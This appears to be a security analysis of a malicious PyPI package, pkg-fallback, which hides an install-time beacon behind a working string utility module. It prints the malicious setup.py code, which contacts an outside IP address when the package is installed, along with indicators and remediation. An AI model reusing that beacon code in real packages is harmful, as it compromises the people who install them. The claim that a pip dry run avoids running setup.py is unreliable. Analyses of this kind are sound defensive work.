The package is called pkg-fallback. The module it installs is string_kit. The README describes string-kit. Three names, zero overlap. Before pip writes a single file to disk, setup.py opens an HTTP connection to 157.254.194.200:8080 and fetches a tarball named dependency-payload-1.0.0.tar.gz. The exception handler swallows any failure without a trace.
PyPI quarantined version 1.1.0 on June 28, 2026. One version exists. The C2 is offline.
Package Anatomy
The tarball pkg_fallback-1.1.0.tar.gz (SHA-256: 272ff22462e20ef5fd5766729843adfc577ff8a72c6c87e809c56efc6e042921, verified against the OSV advisory and recomputed from the downloaded artifact) unpacks to ten files totaling 1.7 kB. This is an sdist.
pkg_fallback-1.1.0/
PKG-INFO 843 bytes
README.md 307 bytes
pyproject.toml 81 bytes
setup.cfg 38 bytes
setup.py 816 bytes ← malicious
string_kit/__init__.py 366 bytes
pkg_fallback.egg-info/PKG-INFO 843 bytes
pkg_fallback.egg-info/SOURCES.txt 200 bytes
pkg_fallback.egg-info/dependency_links.txt 1 byte
pkg_fallback.egg-info/top_level.txt 11 bytesThe file top_level.txt contains string_kit. The package name registered on PyPI is pkg-fallback. The module the user would actually import is string_kit. There is no module named pkg_fallback anywhere in the tarball. The name divergence is not incidental.
The string_kit/__init__.py (366 bytes, timestamped 01:08 UTC) contains six legitimate string utility functions: trim, lower, upper, pad, reverse, truncate. These functions work. They are cover.
The attacker-added file is setup.py. Everything else is either functional cover or packaging boilerplate generated by setuptools at build time. The pkg_fallback.egg-info/ directory was generated at 01:38 UTC, thirty minutes after string_kit/__init__.py was written. pyproject.toml was written at 01:18 UTC. The sequence: cover module first, beacon last.
Manifest Audit
The setup.py url and download_url fields are both set to http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz, extracted from PKG-INFO during tarball analysis. Both fields resolve to the C2 beacon URL, which is also displayed on the PyPI project page as the package homepage and download link. The operator embedded the C2 endpoint in the most visible metadata fields in the registry.
pyproject.toml specifies only the build backend (setuptools.build_meta). No [project.dependencies] block. No direct URL dependencies. No entry points.
Execution Trigger
The trigger fires at install time, inside setup.py, before setup() is called.
import os
import sys
from setuptools import setup, find_packages
HOST = os.environ.get("STRING_KIT_HOST", "157.254.194.200")
PORT = os.environ.get("STRING_KIT_PORT", "8080")
BINARY_URL = f"http://{HOST}:{PORT}/dependency-payload-1.0.0.tar.gz"
try:
import urllib.request
urllib.request.urlopen(BINARY_URL, timeout=5)
except Exception:
passThe urlopen call has no response handling. No content is read. No file is written. The call opens the connection, sends the HTTP GET, and discards whatever the server returns. The except Exception: pass block ensures the install completes cleanly whether the C2 responds or not.
What the connection does transmit: the installer’s IP address, the HTTP User-Agent header (Python’s default urllib agent, Python-urllib/<version>), and the timing of the install event. This is sufficient for network enumeration. An operator scanning for Python developers inside a target organization’s IP range receives a timestamped beacon with a source IP for every successful install. No credentials. No files. No persistence.
The environment variables STRING_KIT_HOST and STRING_KIT_PORT allow the C2 address to be overridden at install time. No prior package using these variable names appears in the OSSF malicious-packages repository, VirusTotal, Socket.dev, or PyPI search.
The --no-build-isolation and --ignore-requires-python pip flags do not suppress this. The beacon fires during the build/setup phase. Only PIP_NO_DEPS=1 combined with manual tarball inspection would prevent it. pip install --dry-run does not run setup.py.
C2 and Infrastructure
The beacon target is http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz.
157.254.194.200:8080 returned a connection timeout across multiple probe attempts at the time of analysis. The C2 is offline. We checked VirusTotal and Shodan for the IP. Neither returned prior reporting. The IP does not appear in the OSSF malicious-packages repository, urlscan.io, or Criminal IP.
The payload filename embedded in the URL, dependency-payload-1.0.0.tar.gz, is operator-chosen and describes function rather than disguising it. This is either a development artifact or deliberate: the operator did not expect the URL to be read by humans. It appeared in the PyPI project homepage field.
OPSEC Failures
The C2 URL was placed in setup.py and simultaneously in the url and download_url fields of setup(), which propagate directly into PKG-INFO and into the PyPI registry metadata. Anyone inspecting the package page before installing would see http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz listed as both the homepage and download URL. Amazon Inspector flagged the package within hours of publication. The metadata exposure was the most direct path to detection.
The payload filename contains the string dependency-payload, making the intent explicit in the first artifact a scanner or human reviewer would inspect.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
pkg-fallback | PyPI package | 1.1.0 | Identified during triage; confirmed malicious in OSV advisory MAL-2026-6557 |
pkg_fallback-1.1.0.tar.gz | Source distribution | SHA-256: 272ff22462e20ef5fd5766729843adfc577ff8a72c6c87e809c56efc6e042921 | Hash recomputed from downloaded tarball; matches OSV advisory and PyPI simple index |
setup.py | Malicious file | SHA-256: e63cda868cf61706d3d8666c109977ecbcbc7b83f0d784a0330a4196bf034822 | Hash recomputed from extracted tarball; matches OSV evidence_files entry |
http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz | C2 beacon endpoint | Offline at time of analysis | Extracted from setup.py module-level urlopen call and from PKG-INFO url/download_url fields during manifest audit |
pkgupload | Publisher account | PyPI | Pulled from registry metadata during triage |
STRING_KIT_HOST | Configuration variable | C2 override | Extracted from setup.py os.environ.get call |
STRING_KIT_PORT | Configuration variable | Port override | Extracted from setup.py os.environ.get call |
Affected Versions
| Version | Published (UTC) | Tarball SHA-256 | Status | OSV Entry |
|---|---|---|---|---|
| 1.1.0 | 2026-06-28 | 272ff22... | Quarantined | MAL-2026-6557 |
Remediation
If pkg-fallback==1.1.0 appears in any lockfile or pip freeze output, remove it. The package was quarantined by PyPI and is no longer installable.
The install-time beacon transmitted the installing machine’s IP address and install timestamp to 157.254.194.200:8080. Review network egress logs for outbound connections to that IP on port 8080, particularly in the window of June 28, 2026. No credentials were targeted and no files were written to disk, so credential rotation is not indicated. If the install occurred inside a CI/CD pipeline, review the pipeline’s outbound network log for the run that installed the package.
The package installed a functional string_kit module. Remove it: pip uninstall pkg-fallback. Verify no downstream code imports string_kit expecting the malicious copy to remain.